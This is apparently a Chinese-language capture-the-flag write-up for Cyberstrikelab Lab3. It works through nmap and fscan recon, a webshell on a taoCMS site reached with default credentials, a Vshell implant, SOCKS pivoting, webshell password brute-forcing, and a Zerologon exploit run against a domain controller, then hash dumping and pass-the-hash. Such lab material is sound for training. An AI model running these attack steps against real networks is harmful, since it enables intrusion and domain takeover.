Lab3

https://www.cyberstrikelab.com/#/scene/detail/22

Recon

提示 192.168.10.0 网段

➜  Lab3 nmap -sn 192.168.10.0/24                  
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-12 21:42 CST
Nmap scan report for 192.168.10.10
Host is up (0.053s latency).
Nmap scan report for 192.168.10.233
Host is up (0.075s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 18.25 seconds

扫描出来 192.168.10.10

➜  Lab3 nmap -sT -min-rate 5000 -p- 192.168.10.10
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-12 21:43 CST
Nmap scan report for 192.168.10.10
Host is up (0.050s latency).
Not shown: 65522 closed tcp ports (conn-refused)
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3306/tcp  open  mysql
3590/tcp  open  wv-csp-sms
5040/tcp  open  unknown
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 18.63 seconds

HTTP 端口在3590

➜  Lab3 nmap -sT -A -p $(cat port | awk -F '/' '{print $1}' | paste -sd ',') 192.168.10.10
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-12 21:44 CST
Nmap scan report for 192.168.10.10
Host is up (0.054s latency).
                                                
PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC                                                                                                                                             
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn  
445/tcp   open  microsoft-ds?
3306/tcp  open  mysql         MySQL (unauthorized)
3590/tcp  open  http          Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02)
|_http-title:  taoCMS\xE6\xBC\x94\xE7\xA4\xBA
|_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
5040/tcp  open  unknown
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Microsoft Windows 10 1709 - 21H2 (97%), Microsoft Windows 10 (93%), Microsoft Windows Longhorn (93%), Microsoft Windows 10 21H1 (92%), Microsoft Windows 10 21H2 (92%), M
icrosoft Windows 10 1703 or Windows 11 21H2 (91%), Microsoft Windows 10 1803 (91%), Microsoft Windows 10 1903 (91%), Microsoft Windows 8 (91%), Microsoft Windows 10 Education Edition 1909 (90%
)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: -8h00m00s                                                                         
| smb2-security-mode:                                                                           
|   3:1:1:                                                                                      
|_    Message signing enabled but not required                                                  
| smb2-time:                                                                                    
|   date: 2025-08-12T05:47:37                                                                   
|_  start_date: N/A                                                                             
                                                                                                                                                                                                
TRACEROUTE (using proto 1/icmp)                                                                                                                                                                 
HOP RTT      ADDRESS                                                                                                                                                                            
1   50.73 ms 172.16.233.1
2   50.81 ms 192.168.10.10                                                                      
                                                
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 178.96 seconds

192.168.10.10

taoCMS

访问 Web 站点

寻找公开漏洞

https://blog.csdn.net/2302_82189125/article/details/140086872

使用默认账号密码成功进去了

来到文件管理页面，新建文件

点击编辑写马子进去就行了

system 权限

直接上 Vshell ，首先关闭防火墙和开启远程桌面

通过一键上线命令

信息收集

读取 flag1

C:\phpstudy_pro\WWW>type C:\flag.txt
go-flag{IpbKNIOigmnsuwY3}

查看网段信息

C:\phpstudy_pro\WWW>ipconfig

Windows IP 配置

以太网适配器 以太网实例 0:

   连接特定的 DNS 后缀 . . . . . . . :
   本地链接 IPv6 地址. . . . . . . . : fe80::81e3:1433:2412:22d8%17
   IPv4 地址 . . . . . . . . . . . . : 192.168.10.10
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 192.168.10.233

以太网适配器 以太网实例 0 2:

   连接特定的 DNS 后缀 . . . . . . . :
   本地链接 IPv6 地址. . . . . . . . : fe80::edc1:3601:4f28:7fc4%11
   IPv4 地址 . . . . . . . . . . . . : 192.168.20.10
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 192.168.20.1

存在 192.168.20.0 网段，加上 flag 的提示

上传 fscan 扫描，先打 192.168.20.20

192.168.20.20

信息收集

fscan 扫描，8055 是 web 服务

C:\>fscan -h 192.168.20.20 -nobr -p 1-65535
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan Version: 2.0.0

[2025-08-12 14:31:40] [INFO] 暴力破解线程数: 1
[2025-08-12 14:31:40] [INFO] 开始信息扫描
[2025-08-12 14:31:40] [INFO] 最终有效主机数量: 1
[2025-08-12 14:31:40] [INFO] 开始主机扫描
[2025-08-12 14:31:40] [INFO] 有效端口数量: 65535
[2025-08-12 14:31:45] [SUCCESS] 端口开放 192.168.20.20:135
[2025-08-12 14:31:45] [SUCCESS] 端口开放 192.168.20.20:139
[2025-08-12 14:31:50] [SUCCESS] 服务识别 192.168.20.20:139 =>  Banner:[.]
[2025-08-12 14:31:57] [SUCCESS] 端口开放 192.168.20.20:445
[2025-08-12 14:32:02] [SUCCESS] 服务识别 192.168.20.20:445 => 
[2025-08-12 14:32:50] [SUCCESS] 服务识别 192.168.20.20:135 => 
[2025-08-12 14:33:43] [SUCCESS] 端口开放 192.168.20.20:3306
[2025-08-12 14:33:43] [SUCCESS] 服务识别 192.168.20.20:3306 => [mysql] 产品:MySQL 信息:unauthorized Banner:[H.j Host 'DESKTOP-JFB57A8' is not allowed
to connect to this MySQL server]
[2025-08-12 14:35:13] [SUCCESS] 端口开放 192.168.20.20:5985
[2025-08-12 14:35:19] [SUCCESS] 服务识别 192.168.20.20:5985 => [http] 版本:2.0 产品:Microsoft HTTPAPI httpd 系统:Windows
[2025-08-12 14:36:24] [SUCCESS] 端口开放 192.168.20.20:8055
[2025-08-12 14:36:35] [SUCCESS] 服务识别 192.168.20.20:8055 => [http]

通过 Vshell 设置 socks 代理，然后给 yakit 设置下游代理即可访问

是 thinkphp，提示说被渗透过了

这里扫描了一波没扫描出来，可能网站被挂马了，爆破一下

这里尝试了使用 ffuf 和 wfuzz 来进行爆破，但是并不理想

awBruter

看了一下 WP ，是通过 awBruter 来爆破，爆破得到密码 admin123

蚁剑连接

被挂马的地方：

查看权限

读取 flag2

C:\> type flag.txt
go-flag{C2AoW93mioh5XYQg}

上线有点麻烦就算了，通过 stowaway 或者 chisel 弄一个端口映射就行

192.168.20.30

信息收集

通过 192.168.20.20 能知道 192.168.20.30 就是 DC

fscan 扫描

C:\>fscan.exe -h 192.168.20.30 -nobr
┌──────────────────────────────────────────────┐
│    ___                              _        │
│   / _ \     ___  ___ _ __ __ _  ___| | __    │
│  / /_\/____/ __|/ __| '__/ _` |/ __| |/ /    │
│ / /_\\_____\__ \ (__| | | (_| | (__|   <     │
│ \____/     |___/\___|_|  \__,_|\___|_|\_\    │
└──────────────────────────────────────────────┘
      Fscan Version: 2.0.0

[2025-08-12 15:21:41] [INFO] 暴力破解线程数: 1
[2025-08-12 15:21:41] [INFO] 开始信息扫描
[2025-08-12 15:21:41] [INFO] 最终有效主机数量: 1
[2025-08-12 15:21:42] [INFO] 开始主机扫描
[2025-08-12 15:21:42] [INFO] 有效端口数量: 233
[2025-08-12 15:21:42] [SUCCESS] 端口开放 192.168.20.30:445
[2025-08-12 15:21:42] [SUCCESS] 端口开放 192.168.20.30:389
[2025-08-12 15:21:42] [SUCCESS] 端口开放 192.168.20.30:139
[2025-08-12 15:21:42] [SUCCESS] 端口开放 192.168.20.30:135
[2025-08-12 15:21:42] [SUCCESS] 端口开放 192.168.20.30:88
[2025-08-12 15:21:47] [SUCCESS] 服务识别 192.168.20.30:445 => 
[2025-08-12 15:21:47] [SUCCESS] 服务识别 192.168.20.30:139 =>  Banner:[.]
[2025-08-12 15:21:47] [SUCCESS] 服务识别 192.168.20.30:88 => 
[2025-08-12 15:21:52] [SUCCESS] 服务识别 192.168.20.30:389 => 
[2025-08-12 15:22:47] [SUCCESS] 服务识别 192.168.20.30:135 => 
[2025-08-12 15:22:47] [INFO] 存活端口数量: 5
[2025-08-12 15:22:47] [INFO] 开始漏洞扫描
[2025-08-12 15:22:47] [INFO] 加载的插件: findnet, ldap, ms17010, netbios, smb, smb2, smbghost, webpoc, webtitle
[2025-08-12 15:22:47] [SUCCESS] NetInfo 扫描结果
目标主机: 192.168.20.30
主机名: WIN-7NRTJO59O7N
发现的网络接口:
   IPv4地址:
      └─ 192.168.20.30
[2025-08-12 15:22:48] [SUCCESS] 扫描已完成: 9/9

尝试 SMB 匿名

➜  fscan proxychains -q nxc smb 192.168.20.30 -u anonymous -p ''
SMB         192.168.20.30   445    WIN-7NRTJO59O7N  [*] Windows 6.1 Build 7600 x64 (name:WIN-7NRTJO59O7N) (domain:cyberstrikelab.com) (signing:True) (SMBv1:False) 
SMB         192.168.20.30   445    WIN-7NRTJO59O7N  [-] cyberstrikelab.com\anonymous: STATUS_LOGON_FAILURE

没什么发现的，尝试一下公开漏洞，测试一下 zerologon

zerologon

POC：https://github.com/SecuraBV/CVE-2020-1472

➜  CVE-2020-1472 git:(master) proxychains -q python zerologon_tester.py WIN-7NRTJO59O7N 192.168.20.30
Performing authentication attempts...
==============================================================================
Success! DC can be fully compromised by a Zerologon attack

再利用 exp

https://github.com/dirkjanm/CVE-2020-1472

➜  CVE-2020-1472-master proxychains -q python cve-2020-1472-exploit.py WIN-7NRTJO59O7N 192.168.20.30
Performing authentication attempts...
=====================================================================================================================================
Target vulnerable, changing account password to empty string

Result: 0

Exploit complete!

然后直接 Dumphash

PTH

读取 flag

C:\Windows\system32> type C:\flag.txt
go-flag{ueoJt7eB6AQL8OpL}

Cyberstrikelab - Lab3